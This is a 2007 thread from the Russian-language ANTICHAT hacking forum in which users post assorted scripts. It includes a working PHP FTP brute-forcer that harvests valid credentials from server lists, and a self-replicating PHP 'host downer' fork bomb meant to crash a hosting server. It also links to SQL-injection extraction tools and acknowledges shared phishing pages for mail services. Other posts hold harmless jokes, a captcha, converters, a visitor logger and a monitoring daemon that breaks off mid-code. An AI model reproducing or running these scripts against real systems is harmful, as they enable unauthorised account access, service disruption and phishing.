ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

30.04.2007, 10:51
|
|
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме: 38505
Репутация:
48
|
|
Простой брутофорсер FTP
PHP код:
<?php
//первое-определяем файлы с которыми работаем:
//Список серверов:
$fservers = "servers.txt";
//Список логинов:
$flogins = "logins.txt";
//Список паролей:
$fpasswords = "passwords.txt";
//Лог-файл:
$flog = "ftpbrut.log";
//Открываем файлы:
$servers = file($fservers);
$logins = file($flogins);
$passwords = file($fpasswords);
$fd = fopen($flog, "w");
//Цикл перебирает сервера
foreach($servers as $server)
{
$connect = ftp_connect($server);
echo $server."<br />";
if($connect)
{
foreach($logins as $login)
{
foreach($passwords as $password)
{
$result = ftp_login($connect, $login, $password);
if($result)
{
$str = "ftp://".$login.":".$password."@".substr($server,6);
$log .= $str."\r\n";
echo $str."<br />";
break;
}
}
if($result)
{
break;
}
}
ftp_quit($connect);
}
}
fwrite($fd, $log);
fwrite($fd, "done succesful");
echo "done succesful";
?>
|
|
|

04.05.2007, 20:57
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
Скрипт, может не совсем полезный... В общем, downer... Прицнип работы:
1. Запускается скрипт, в нем вечный цикл, который создает точно такой же скрипт с другим именем и запускает его.
2. Шаг 1
За 10 секунд один файл порождает около 1000 таких скриптов и запускает их... Эти 1000 скрипт за следующие 10 секунд пораждают 1000 * 1000 таких скрипт и запускают их %))) Я думаю это должно убить хостинг.
Требования: поддержка popen на хосте и права на создание файлов в папке.
Скрипт написал за 10 минут, просто было интерестно  ))
PHP код:
<?php
// HOST DoooWNER
// By SpeedHack
if (isset($_GET['start'])) {
$fp = popen('php -f ' . __FILE__ . ' &', 'r');
pclose($fp);
} else {
while (1) {
$file = dirname(__FILE__) . '/' . md5(uniqid()) . '.php';
$fp = fopen($file, 'w');
fwrite($fp, file_get_contents(__FILE__));
fclose($fp);
$fp = popen('php -f ' . $file . ' &', 'r');
pclose($fp);
}
}
?>
Последний раз редактировалось Developer; 04.05.2007 в 20:59..
|
|
|

04.05.2007, 21:01
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
Можно чуть упростить:
PHP код:
<?php
while (1) {
$new = dirname(__FILE__) . '/' . md5(uniqid()) . '.php';
$fp = fopen($new, 'w');
fwrite($fp, file_get_contents(__FILE__));
fclose($fp);
$fp = popen('php -f ' . $new . ' &', 'r');
pclose($fp);
}
?>
|
|
|

08.05.2007, 07:43
|
|
Познающий
Регистрация: 16.04.2007
Сообщений: 34
Провел на форуме: 81890
Репутация:
6
|
|
прикольно показывает анекдотики
Код:
<p align="left"><strong>Анекдот:</strong><br>
<font size="1" face="Verdana, Arial"><script
language="JavaScript">
var h=(Math.random()*26);
if (h <1) document.writeln("- Мыкола, ты слыхал, як москали ICMP-пакеты называють? <br> - Як? <br> - Пинги!..");
if (h > 1 && h < 2) document.writeln("Интернетчика спросили: <br> - Что такое Червона Рута? <br> - Это женщина-админ на сервере Компартии.");
if (h > 2 && h < 3) document.writeln("Звонок в компьютерную контору: <br> - С моим компьютером проблемы, он не включается... <br> - Как не включается? <br> - Да пишет все время: Вставьте дискету, вставьте дискету... <br> - А вы вставляли? <br> - Нет... Как-то не догадался.");
if (h > 3 && h < 4) document.writeln("Подведены итоги лотереи <b>Windows 95</b>: <br> Выиграла фирма Microsoft. Разыграны миллионы чайников.");
if (h > 4 && h < 5) document.writeln("Школьный учитель спрашивает учеников о профессии родителей: <br> - Вася, чем твоя мама занимается на работе? <br> Вася встает и гордо говорит: <br> - Она - доктор! <br> - Замечательно, ну как насчет тебя, Маша? <br> Девочка стеснительно произносит: <br> - Мой папа разносит почту. <br> - Спасибо, Маша - говорит учитель. <br> Ну, а твои родители что делают, Вовочка? <br> Вовочка гордо встает и объявляет: <br> - Мой папа играет музыку в борделе! <br> Обалдевший учитель решил направиться к Вовочке домой. <br> - В каких условиях вы растите ребенка? - спрашивает он у отца. <br> Тот отвечает: <br> - Вообще-то я программист и специализируюсь на TCP/IP коммуникационном протоколе в системе UNIX. Ну как объяснить это семилетнему пацану?");
if (h > 5 && h < 6) document.writeln("- Вы уверены,что хотите удалить папку D:\TEMP? <br> - Да! <br> - В этой папке находятся файлы. Вы уверены, что хотите их удалить? <br> - Да!! <br> - Удаление этих файлов может повлиять на зарегистрированные программы. Вы все еще уверены? <br> - Да!!! - Эти файлы могут использоваться системой. Вы уверены? <br> - Пошла ты нахрен! - заорал админ и нажал Cancel. <br> - Ага! Испугался! - подумала NT.");
if (h > 6 && h < 7) document.writeln("Идет молитва в церкви. Чинно-спокойно льется речь. <br> Вдруг небеса разверзаются и оттуда в лучах небесного света появляется лицо Бога: <br> - Сыны и дочери мои, настал момент... <br> Со страшным грохотом небеса захлопываются. <br> Все прихожане в шоке! Никто не верит своим глазам. <br> Через несколько минут все повторяется снова: <br> - Сыны и дочери мои, настал момент мне предст.... <br> Все судорожно крестятся. Вдруг небеса опять разверзаются, из сияния выглядывает омраченный лик Господа: <br> - Вот же гребаный провайдер!");
if (h > 7 && h < 8) document.writeln("Компьютер позволяет решать все те проблемы, которых до изобретения компьютера не существовало.");
if (h > 8 && h < 9) document.writeln("Штирлиц просматривает электронную почту. <br> Hезаметно входит Мюллер. У Штирлица на экране бессмысленный набор символов. <br> - Шифровка! - подумал Мюллер. <br> - Koi8-r - подумал Штирлиц.");
if (h > 9 && h <10) document.writeln("Завис компьютер? Выдерни шнур, выдави стекло.");
if (h > 10 && h <11) document.writeln("Чем отличается программист от пользователя? <br> Пользователь думает, что в килобайте 1000 байт, а программист думает, что в километре 1024 метра.");
if (h > 11 && h <12) document.writeln("По окончании инсталляции программ Microsoft очень часто можно прочесть <br> - <b>Мы долго и трудно работали. Наслаждайтесь!</b> <br> После работы с некоторыми программами Microsoft хочется изменить эту фразу на следующую: <br> <b>- Мы долго и трудно работали. Теперь - ваша очередь!</b>");
if (h > 12 && h <13) document.writeln("Предлагается к продаже <b>Соборъ</b> - надёжная помощь в комплексной автоматизации вашего прихода. Компьютер <b>Соборъ</b> - это: <br> - кадило и сокадило на 1GHz <br> - оперативная паперть, расширяемая до 1024 меганищих <br> - 15-ти дюймовый SVGA алтарь (на складе имеются 17-ти и 21 дюймовые модели) <br> - жесткий несъемный крест <br> - кружка двухщелевая типа <b>На восстановление храма</b> <br> - круглый принтер для пасхальных яиц <br> - клавиатура со старославянским шрифтом и раскладкой <br> По желанию заказчика может быть установлено следующее лицензионное ПО: <br> - Старый Завет 95 <br> - Новый Завет 98 <br> - Слово Господне 2000 <br> - 1С: Исповедальня (с сохранением тайны исповеди и выводом на широкий принтер) <br> Так же наша организация подключит ваш компьютер через выделенную линию к Верховному Провайдеру.");
if (h > 13 && h <14) document.writeln("Если чрезмерная увлеченность вашего ребенка компьютерными играми вызывает у вас беспокойство, постарайтесь приобщить его к более серьезным и здоровым занятиям: картам, вину, девочкам.");
if (h > 14 && h <15) document.writeln("Пpиходит сантехник к пpогpаммисту pемонтиpовать засоpившуюся pаковину и начинает ковыpяться в отстойнике... <br> - А у вас тут из сети все на винт падает... Вот и забило! <br> - Hадо винт больше ставить? <br> - Hет, винт надо вообще нахрен спилить!");
if (h > 15 && h <16) document.writeln("Программист ставит себе на тумбочку перед сном два стакана. <br> Один с водой - на случай, если захочет ночью пить. А второй пустой - на случай, если не захочет.");
if (h > 16 && h <17) document.writeln("Что общего между морской свинкой и женщиной-программером? То, что морская свинка - она и не свинка, и не морская.");
if (h > 17 && h <18) document.writeln("Земля. 2050 год. Генный инженер-программист разбирает очерендной кусок генной последовательности и видит следующий комментарий: <br> - /* A eti geny nado by ubrat nahren. Archangel Gavriil */");
if (h > 18 && h <19) document.writeln("Компьютерщик, провозившийся всю ночь с установкой кривой видео-карты, заходит в булочную после бессонной ночи: <br> - Мне, пожалуйста, буханку черно-белого хлеба и батон цветного.");
if (h > 19 && h <20) document.writeln("Едут в машине новый русский, инженер и программист. Машина заглохла. Инженер: <br> - Сейчас посмотрю в чем дело! <br> Новый русский: <br> - Да не беспокойся, я по мобильнику спецбригаду вызову! <br> Программист: <br> - Спокойно, ребята, сейчас выйдем, снова зайдем и она заработает!");
if (h > 20 && h <21) document.writeln("Приходит программист в библиотеку и говорит: <br> - Позовите мне архивариуса! Мне надо его спросить! <br> - Я его отправил в архив. Могу я вам помочь? <br> - Разархивируйте его, он мне срочно нужен!");
if (h > 21 && h <22) document.writeln("Есть три способа, которыми русские програмисты достают программное обеспечение: <br> воровство, грабеж и обмен награбленным.");
if (h > 22 && h <23) document.writeln("Билл Гейтс получил Hобелевскую премию по экономике и медицине за то, что додумался продавать геморрой за такие большие деньги!");
if (h > 23 && h <24) document.writeln("В кои-то веки программер идет домой засветло. Все вокруг красиво, деревья, птички, облачка... Останавливается он и говорит: <br> - Вот ведь блин, и ведь без всякого OpenGL!");
if (h > 24 && h <25) document.writeln("Два программиста едут в переполненном автобусе. Один - другому: <br> - Что-то у меня с писюком! <br> Пассажиры замирают. <br> - А что с ним? <br> - Да висит часто... <br> - Может вирус какой? <br> - Да проверял, все стерильно... <br> - А висит хорошо? <br> - Крепко, тремя пальцами не поможешь...");
if (h > 25 && h <26) document.writeln("Один компьютерщик рассказывает другому: <br> - Представляешь, вчера возвращаюсь с работы чуть раньше обычного, а у жены в постели - незнакомый мужик. И глаза у обоих хитрые-хитрые... Я сразу неладное заподозрил, кинулся к компу, пытаюсь выйти в Интернет - а они, гады, пароль сменили...");
</script></font>
</p>
|
|
|

12.05.2007, 01:52
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
Самая защищенная и комфортная каптча:
captcha.php
PHP код:
<?php
session_start();
?>
<img src="captcha.php" />
<form method="post">
Enter code : <input type="text" name="get_code">
<input name="sub" type=submit value="Проверить">
</form>
<?php
if($_POST['sub']) {
if($_POST['get_code'] == $_SESSION['code']) {
echo "Картинка введена верно";
} else {
echo "Картинка введена неверно";
}
}
?>
captcha.php
PHP код:
<?php
session_start();
session_register('code');
$_SESSION['code'] = rand(1000000,9999999);
for($i = 0; $i < 7; $i++) {
$arr[$i] = substr($_SESSION['code'],$i,1);
}
$im = imagecreate(130,40);
imagecolorallocate($im,255,255,255);
$a = 0;
for($i = 0; $i < 7;$i++)
{
$color=imagecolorallocate($im,rand(0,250),rand(0,250),rand(0,250));
imagestring($im,3,$a+=15,0,$arr[$i],$color);
}
header("Content-type: image/jpeg");
imagejpeg($im,'',100);
?>
Последний раз редактировалось Isis; 12.05.2007 в 02:06..
|
|
|

12.05.2007, 10:18
|
|
Banned
Регистрация: 14.03.2007
Сообщений: 82
Провел на форуме: 996198
Репутация:
85
|
|
Сообщение от GrAmOzEkA
Выкладываю фейки :
yandex.ru
tut.by
rambler.ru
pochta.ru
mail.ru
hotmail.ru
gmail.com
Сперты с t-11.org
Мож кому пригодятся.
http://rapidshare.com/files/30822932/fake.rar
Пасиб....пригодиться....тебе +!!!!!!!!
|
|
|

27.05.2007, 19:04
|
|
Участник форума
Регистрация: 09.12.2005
Сообщений: 162
Провел на форуме: 701592
Репутация:
91
|
|
Скрипты от AOH.name
Хочу представить вам мои скрипты, может кто то найдет что нибудь полезное для себя.
Кому пригодились мои скрипты не забываем про +
#############################
SQL binary search
Утилитка для посимвольного пребора в SQL бинарным поиском. Метод используеться при отсутствие виода результатов SQL инъекции
+ хорошая скорость работы
+ все полностью автоматизированно. После выполнение будет выдан полный текст результата подзапроса
URL: http://aoh.name/sploit/bin.txt
#############################
SQL injection tool
Без коментариев. Утилита для подбоpа кол-ва столбцов в union и автоматического перебора имен таблиц по словарю.
URL: http://aoh.name/sploit/sql.txt
#############################
Proxy finder
Утилита для многопоточного поиска прокси и сканирование прокси листа на живые и неживые прокси.
+ Многопоточность
+ Работа с прокси листами
- На active perl иногда не настроиваетсья таймаут.
URL: http://aoh.name/sploit/a0hpr0xyf1nder.txt
|
|
|

11.06.2007, 01:20
|
|
Участник форума
Регистрация: 17.12.2006
Сообщений: 191
Провел на форуме: 415254
Репутация:
75
|
|
скрипт показывающий кодировку
PHP код:
<HTML>
<HEAD>
<TITLE>Ваша кодировка :</TITLE> </HEAD>
<BODY BGCOLOR="#FFFFFF"> <script> var u=navigator.userAgent; if (u.indexOf("Win") != -1)
// Текст в 1251 document.writeln ("Windows 1251") ;
else if (u.indexOf("DOS") != -1 || u.indexOf("OS/2") != -1)
// Текст в 866 document.writeln("MS-DOS CP866"); else
// Текст в K018 document.writein ( "лПДЙТПЧЛБ KOI8-R") ;
</script>
</BODY>
</HTML>
скрипт 2-Base перекодировщик
PHP код:
<HTML>
<HEAD>
<TITLE>Base converter</TITLE>
<SCRIPT LANGUAGE="JavaScript"> <!-- hiding content from old browsers
// Copyright (c) 1996-1997 Tomer Shiran. All rights reserved.
// Permission given to use the script provided that this notice remains as is.
// Additional scripts can be found at http:
//www.geocities.com/~yehuda/
// Simulate the "power of" (^) operator
/////////////////////////////////////////
function power(op1, op2) { var result = 1 for (var i = 1; i <= op2; i++) { result *= op1 } return result }
// Simulate the div (integral division)
// operator
/////////////////////////////////////////
function div(op1, op2) {
return Math.round(op1 / op2 - op1 % op2 / op2) }
// Returns a digit (maximum hexadecimal)
// based on its decimal value
/////////////////////////////////////////
function getDigit(val) { if (val == 10) return "A" if (val == 11) return "B" if (val == 12) return "C" if (val == 13) return "D" if (val == 14) return "E" if (val == 15) return "F" return val
// the return statement terminates the function,
// so there is no need for else statements }
// Returns the decimal value of a digit
// (maximum hexadecimal)
/////////////////////////////////////////
function getValue(dig) { if (dig == "A") return 10 if (dig == "B") return 11 if (dig == "C") return 12 if (dig == "D") return 13 if (dig == "E") return 14 if (dig == "F") return 15 return dig
// the return statement terminates the function,
// so there is no need for else statements }
// Convert from decimal to specified base
/////////////////////////////////////////
function toBase(num, base) { var newNum = (num == 0) ? "0" : "" while (num >= 1) { newNum = getDigit(num % base) + newNum num = div(num, base) } return newNum }
// Convert from specified base to decimal
/////////////////////////////////////////
function toDec(num, base) { if (base == 8) return parseInt("0" + num) if (base == 16) return parseInt("0x" + num) num = "" + num
// convert to string by casting
var numLength = num.length
// the length property returns the length of a string var newNum = 0
// initialization
// (must be 0 so the sum is not affected) var curDigit = "" var contributedValueValue = 0 for (var i = numLength - 1; i >= 0; --i) { curDigit = num.charAt(i) contributedValue = getValue(curDigit) contributedValue *= power(base, numLength - (i + 1)) newNum += parseInt(contributedValue) } return newNum }
// Main function that accepts input and
// calls appropriate functions
/////////////////////////////////////////
function convert(num, base1, base2) {
if (typeof num == "string")
num = num.toUpperCase() if (base1 == base2) return num if (base1 == 10)
return toBase(num, base2) if (base2 == 10) return toDec(num, base1) return toBase(toDec(num, base1), base2) }
// Create a conversion table
/////////////////////////////////////////
function drawTable(lastNum) { with (document) { lastNum = parseInt(lastNum) write("<TABLE BORDER=3>") write("<TR><TD COLSPAN=8><CENTER><FONT COLOR=purple SIZE=+4>") write("Base Converter</FONT></CENTER></TD></TR>")
write("<TR>")
for (var k = 2; k <= 16; k = k + 2) { write("<TD><CENTER> Base " + k + "
</CENTER></TD>") }
write("</TR>")
for (var i = 0; i <= lastNum; ++i) { write("<TR>")
for (var j = 2; j <= 16; j = j + 2) { write("<TD>" + toBase(i, j) + "</TD>") } write("</TR>") } write("</TABLE>") } }
// Gets table's input
/////////////////////////////////////////
function getTableAttributes() {
var message = "Enter last number to be converted in the table" var lastNum = parseInt(prompt(message, 15))
if (lastNum != 0)
drawTable(lastNum) }
// Convert individual numbers, until the
// user selects cancel on the first
// prompt of the loop
/////////////////////////////////////////
function calcNum() { while(1) {
var number = prompt("Enter a number in any base:", 0)
if (number == null) break var base1 = prompt("Enter its base:", 10) if (base1 == null) continue base1 = parseInt(base1) var base2 = prompt("Enter the desired base:", 16) if (base2 == null) continue base2 = parseInt(base2) var outputString = number + " (base " + base1 + ") = " outputString += convert(number, base1, base2) outputString += " (base " + base2 + ")" alert(outputString) } }
// Ask user for conversion device
// (T-table, I-individual values)
/////////////////////////////////////////
function mainInput() { var message = "Enter (T) to create a table or (V) to " message += "calculate a value"
var chosenDevice = prompt(message, "T") if (chosenDevice == "T" || chosenDevice == "t") getTableAttributes() else if (chosenDevice == "V" || chosenDevice == "v") calcNum() else alert("Goodbye!") } mainInput()
// end hiding content -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
Кодировщик-перекодировщик
PHP код:
<HTML>
<HEAD>
<TITLE>Enciphering</TITLE>
<SCRIPT LANGUAGE="JavaScript">
<!--
// Copyright (c) 1996-1997 Tomer Shiran. All rights reserved. // Permission given to use the script provided that this notice remains as is.
// Additional scripts can be found at http:
//www.geocities.com/~yehuda/
// create list of valid characters var list = "0123456789abcdefghijklmnopqrstuvwxyz._~ABCDEFGHIJKLMNOPQRSTUVWXYZ" function encipher() {
// prompt user for string
var str = prompt("Enter string:", "")
// terminate function if user selects CANCEL if (!str) return
// check that each character of input string is valid
for (var i = 0; i < str.length; ++i) {
if (list.indexOf(str.charAt(i)) == -1) { alert("script terminated -- invalid character found") return } }
// prompt user for key
var key = prompt("Enter key (1-63):", "")
// terminate function if user selects CANCEL if (!key) return
// convert key to integer (number)
key = parseInt(key)
// alert enciphered string
alert(encode(str, key)) }
function encode(str, key) {
// initialize accumulative string variable
var code = ""
// encipher all characters
for (var i = 0; i < str.length; ++i) {
var ind = list.indexOf(str.charAt(i))
var converted = list.charAt(ind ^ key) code += converted }
// return enciphered value return code } encipher()
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
|
|
|

11.06.2007, 01:39
|
|
Участник форума
Регистрация: 17.12.2006
Сообщений: 191
Провел на форуме: 415254
Репутация:
75
|
|
Этот скрипт сохраняет информацию о посетителях вашего сайта (дата, время,host name, IP-адрес и т.д.),затем он отсылает вам эту информацию по E-mail.
PHP код:
#! /usr/local/bin/perl
# mail-log.cgi
#
# Version 2.03 -- 27 Jan 1997
# http://www.all-yours.net/scripts/
# Perl (release 4 or 5) script for Unix servers
# Written by Walter Soldierer of All-Yours Internet Solutions
# (hermes@all-yours.net), one of the authors of
#
# THE DIGITAL POSTCARD
#
# A FREE service to increase your web site's exposure!
# Need more hits?
# Check it out at http://www.all-yours.net/postcard/
# This script saves access date+time, the visitor's host name, their IP
# address and browser type, and the refering page (if any) to a log file
# on your server (default name = logfile.txt). This file will be automatically
# mailed to your mailbox. You can change the mailing interval according
# to your needs (default value is every 50 accesses to the page to be
# logged). The script will autocreate the logfile, if it does not exist.
# ----- BEGIN INSTALLATION INSTRUCTIONS -----
# - Save this script to a file mail-log.cgi
# - Cut installation instructions (optional)
# - Change the first script line, if your server's Perl executable
# is not located in /usr/local/bin/perl
# - Customize the settings below (*SETTINGS*)
# * Change e-mail address for $recipient
# * Set $log_page to 1 if you also want to log the page that
# called this script. Recommended in case you want to log accesses
# to more than one HTML page.
# * Set $max_entries to your needs, if you want to have more or less
# than 50 log entries mailed to your mailbox each time.
# * Change path/filename for log file, if necessary
# (default = logfile.txt in your cgi directory)
# * Change values for $check_host and $interval, if necessary
# * Change filename for host/time file, if necessary (default = hosttime.txt)
# - ASCII-upload mail-log.cgi to your cgi directory (cgi-bin, cgi-local...)
# Make it executable (chmod mail-log.cgi 755)
# - add the following line (Server Sde Include) to the page(s) to be logged
# (after the <body> tag):
# <!--#exec cgi="/your-cgi-directory/mail-log.cgi"-->
# HTML pages with Server Side Include tags often need to have the
# file extension ".shtml" !!!! (don't forget to update
# all links to this page(s) accordingly)
# (You should test the script with a test.shtml page first)
# - Load the logged page(s) with your browser.
# - View your new logfile
# It should look something like this:
#
# Time: 05/30/96 14:44:07 EDT
# Host: your.host.and.domain
# Addr: 123.45.67.89
# With: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
# Page: test.shtml
# From: [no entry here, if you accessed your page directly (otherwise Yahoo etc.)]
#
# If the script doesn't work and you want to contact us, please check
# the following first:
# - did you upload the script in ASCII mode (*not* binary)?
# - did you chmod the script 755
# - does your server support the "exec cgi" Server Side Include?
# - did you rename the html file to .shtml
# - did you check the path to your server's Perl executable?
#
# If you still have a problem and you want us to help you, we need to know:
# - a detailed description of your problem
# - your script's settings section
# - html code and file name for the page to be logged
# - script related error messages from your server's error log file
# ----- END INSTALLATION INSTRUCTIONS -----
# -----------------------------------------------------------------------
# *SETTINGS* to customize this script:
# Your email address (within single quotes!):
$recipient = 'xxxx@yyyy.com';
# Do you want to log the .shtml page's file name?
# (recommended when more than one poage is logged)
# 1 = the .shtml page that called this script will be logged
# 0 = the .shtml page that called this script will not be logged
$log_page = 1;
# Do you want to log your visitor's IP number?
# The script attemps to call a domain name server in order to resolve
# IP addresses (such as 132.45.323.5) to a host name (such as yourdomain.com)
# However, resolving IP addressses doesn't work 100 per cent so you
# might also want to log rhe IP addresses.
# 1 = IP addresses will be logged
# 0 = IP addresses will be discarded
$log_IP = 1;
# Number of logged visits mailed to your mailbox at a time:
$max_entries = 50;
# Change logfile name if necessary:
$logfile = 'logfile.txt';
# server's sendmail directory:
$mailprogam = '/usr/lib/sendmail';
# If you set $check_host = "1" the script attempts not
# to log multiple page reloads.
# When a page was accessed from the same host by using the same
# browser, this visit will only be logged after the time
# interval specified in $interval.
# Example: You set $interval to 1800 (seconds). If there was no
# access from a different host in the meantime, a visitor from the
# same host who uses the same browser will only be logged when s/he
# accesses your page 30 minutes after visitor one.
# In other words: If someone reloads the page many times, in most cases
# s/he needs to wait 30 minutes after each reload to make your log file
# grow. When you set $check_host to 0 even the reloads will be logged.
$check_host = 1; # set to zero if you don't like this feature
# If you set the $check_host variable to 1, specify a time interval to
# ignore page reloads
$interval = 600; # seconds!
# If you set the $check_host variable to 1, change the name of the file
# that temporarily stores host and time information (if necessary)
$hostfile = 'hostfile.txt';
# don't change anything past this line unless you know what you are doing
# -----------------------------------------------------------------------
# create a date+time string
$shortdate = `date +"%D %T %Z"`;
chop ($shortdate);
# Some of Perl's network info functions required here
($part1,$part2,$part3,$part4)=split(/\./,$ENV{REMOTE_ADDR});
$IP_adr=pack("C4",$part1,$part2,$part3,$part4);
($host_name)=(gethostbyaddr("$IP_adr", 2));
print "Content-type: text/plain\n\n";
if ($check_host) {
# read host and time info from last visitor
if (-e "$hostfile") {
open(HOST,"$hostfile");
$hostline = <HOST>;
chop($hostline) if $hostline =~ /\n$/;
close(HOST);
($old_time,$old_number,$old_page,$old_browser) = split(/\|/,$hostline);
}
# save host and time info and check if this is a page reload
open(HOST,">$hostfile");
$seconds = time;
print HOST "$seconds\|$ENV{REMOTE_ADDR}\|$ENV{'DOCUMENT_URI'}\|$ENV{'HTTP_USER_AGENT'}";
close(HOST);
if (time - $old_time < $interval
&& $ENV{REMOTE_ADDR} eq $old_number
&& $ENV{'DOCUMENT_URI'} eq $old_page
&& $ENV{'HTTP_USER_AGENT'} eq $old_browser) {
exit; # probably same visitor, so exit
}
}
# open log file for output and append new log data
open (LOGFILE, ">>$logfile");
print LOGFILE "Time: $shortdate\n";
print LOGFILE "From: $ENV{'HTTP_REFERER'}\n";
print LOGFILE "IP : $ENV{REMOTE_ADDR}\n" if $log_IP;
print LOGFILE "Host: $host_name\n";
print LOGFILE "With: $ENV{'HTTP_USER_AGENT'}\n";
print LOGFILE "Page: $ENV{'DOCUMENT_URI'}\n" if $log_page;
print LOGFILE "\n";
close (LOGFILE);
# open log file for input and count log entries
open (LOGFILE, $logfile);
@entries = <LOGFILE>;
close (LOGFILE);
$log_rows = 7;
$log_rows-- unless $log_page;
$log_rows-- unless $log_IP;
$log_count = @entries/$log_rows;
# if number of logs >= max. number of logs, mail file and delete it
if ($log_count >= $max_entries) {
open (MAIL, "|$mailprogam $recipient") || die "Can't open $mailprogam!\n";
print MAIL "Subject: Mail-log File\n\n";
print MAIL "@entries\n";
close MAIL;
unlink $logfile;
}
# end of script
Скрипт выполняет множество функций для администрирования Unix сервера.
PHP код:
#!/usr/bin/perl5
#
# +---------------------------------------------------------------------+
# | sysdaemon |
# | Written By : Trans-Euro I.T Ltd |
# | Written On : July 27th 1997 |
# | |
# | Purpose System monitor |
# | Reads the contents of :- |
# | /usr/local/etc/sysdaemon/daemontab |
# | the daemon names present are scanned for the results |
# | being written back to :- |
# | /var/log/sysmon.REPORT |
# | If a failure occurs the appropriate support team are |
# | contacted by email.. also if any filestore partition |
# | reaches 99%, a pager message can also be sent. |
# | This daemon replaces sysmon, which was written in |
# | korn shall/bash. |
# | On recieving a kill -HUP signal the daemon will |
# | re-read its config file. |
# | The definable nature of this daemon means... |
# | There is NO user changeable code. |
# +---------------------------------------------------------------------+
# | (c) 1997 This script is the intellectual property of |
# | Trans-Euro I.T Ltd |
# +---------------------------------------------------------------------+
use Config;
$VERSION="1.40";
$PROGRAM="sysdaemon";
$hup=0;
$pidfile="/var/run/sysdaemon.pid";
$tab="/usr/local/etc/sysdaemon/daemontab";
$report="/var/log/sysmon.REPORT";
$date=get_date();
$time=get_time();
$node=`uname -n`;
$daemon_name="";
$status="";
$work1="/tmp/sysdaemon1.$$";
$work2="/tmp/sysdaemon2.$$";
$mailprog='/usr/sbin/sendmail';
$support="support\@svr1.marketrends.net";
$filesystem="";
$capacity="";
$fstat="";
@daemontable="";
@proc="";
@fstab="";
format SYSDAEMON =
@<<<<<<<<<<<<<<<<<< : daemon is @<<<<<<<<<<<<<<<<<<<<<<<<:Status is @<<<<
$time $daemon_name $status
.
format SYSDAEMONHUP =
@<<<<<<<<<<<<<<<<<< : HUP re-reading @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$time $tab
.
format SYSDAEMONFS =
@<<<<<<<<<<<<<<<<<< : @<<<<<<<<<<<<<<<<<<< : @<<<< : @<<<<
$time $filesystem $capacity $fstat
.
unless ( -s "$tab") { die "$tab is either missing or empty !!\n";}
read_daemontab();
unless (fork) {
unless (fork) {
sleep1 until getppid == 1;
# +---------------------------------------------------------------------+
# | Main Daemon control loop |
# +---------------------------------------------------------------------+
write_pid();
write_report_header();
while ( ! $daemon_control) {
# +---------------------+
# | Catch signals here! |
# +---------------------+
$SIG{HUP} = \&hup;
if ($hup) { read_daemontab();$hup=0;}
# +---------------------+
# | main process loop |
# +---------------------+
$SIG{HUP} = \&hup;
$date=get_date();
$time=get_time();
gather_process_info();
scan_process();
check_filestore();
unlink($work1);
unlink($work2);
sleep 300;
}
exit 0;
}
exit 0;
}
# +---------------------------------------------------------------------+
# | Sub programs |
# +---------------------------------------------------------------------+
sub hup {
$hup=1;
}
# +---------------------------------------------------------------------+
sub read_daemontab {
if ($hup eq "1") { log_hup();}
open(T,"$tab") || die "Cannot open $tab!\n";
@daemontable=<T>;
close(T);
foreach $EOF (@daemontable) {
$_=$EOF;
s/\012//g;
$EOF=$_;}
}
# +---------------------------------------------------------------------+
sub write_pid {
open(PID,">$pidfile") || die "Cannot open $pidfile!!\n";
print PID $$;
close(PID);
}
# +---------------------------------------------------------------------+
sub get_date {
my $date=`date`;
$_=$date;
s/\012//g;
$date=$_;
return $date;
}
# +---------------------------------------------------------------------+
sub write_report_header {
open(REP,">$report")|| die "Cannot open $report!!\n";
print REP "--------------------------------------------------------\n";
print REP "$PROGRAM : $VERSION starts at $date\n";
print REP "Trans-Euro I.T (c) 1997.\n";
print REP "Written by Stephen Martin\n";
print REP "--------------------------------------------------------\n";
close(REP);
}
# +---------------------------------------------------------------------+
sub get_time {
my $time=`date +"%D : %T"`;
$_=$time;
s/\012//g;
$time=$_;
return $time;
}
# +---------------------------------------------------------------------+
sub gather_process_info {
open(WORK1,"|ps -ax > $work1")|| die "Cannot gather process info!\n";
close(WORK1);
open(WORK1,"$work1")|| die "Cannot read process workfile!\n";
@proc=<WORK1>;
close(WORK1);
}
# +---------------------------------------------------------------------+
sub scan_process {
foreach $dproc (@daemontable){
($daemon,$daemon_name)=split(/:/,$dproc);
if ( grep /$daemon/, @proc ) {log_daemon_status("$daemon_name","up");}
else { log_daemon_status("$daemon_name","down");
mail_support("$daemon_name");}
}
}
# +---------------------------------------------------------------------+
sub log_daemon_status {
my ($daemon_name,$state) = @_;
$status=$state;
open(SYSDAEMON,">>$report")|| die "Cannot log results to $result!\n";
write SYSDAEMON;
close(SYSDAEMON);
}
# +---------------------------------------------------------------------+
sub log_hup {
open(SYSDAEMONHUP,">>$report")|| die "Cannot log HUP call to $result!\n";
write SYSDAEMONHUP;
close(SYSDAEMONHUP);
}
# +---------------------------------------------------------------------+
sub mail_support {
my ($d_name) = @_;
$d_name;
open (MAIL, "| $mailprog $support") || die "Can't open $mailprog!\n";
print MAIL "To: $support\n";
print MAIL "From:$PROGRAM\n";
print MAIL "Subject:$PROGRAM : $d_name failure\n";
print MAIL "------------------------------------------------------\n\n";
print MAIL "$PROGRAM has detected $d_name missing on $node";
close (MAIL);
}
# +---------------------------------------------------------------------+
sub check_filestore {
local $line,$d1,$d2,$d3,$d4,$fs;
open(DF,"|df > $work2")||die "Cannot df!\n";
close(DF);
open(DFW,"$work2")||die "Cannot open $work2!\n";
while(<DFW>) {
@fstab=<DFW>;
}
close(DFW);
foreach $line (@fstab) {
($d1,$d2,$d3,$d4,$lim,$fs)=split(/\ {1,}/,$line);
if ( $lim gt "98%" ) {
log_fs("$fs","$lim","Full");
mail_support_fs("$fs","$lim","Full");
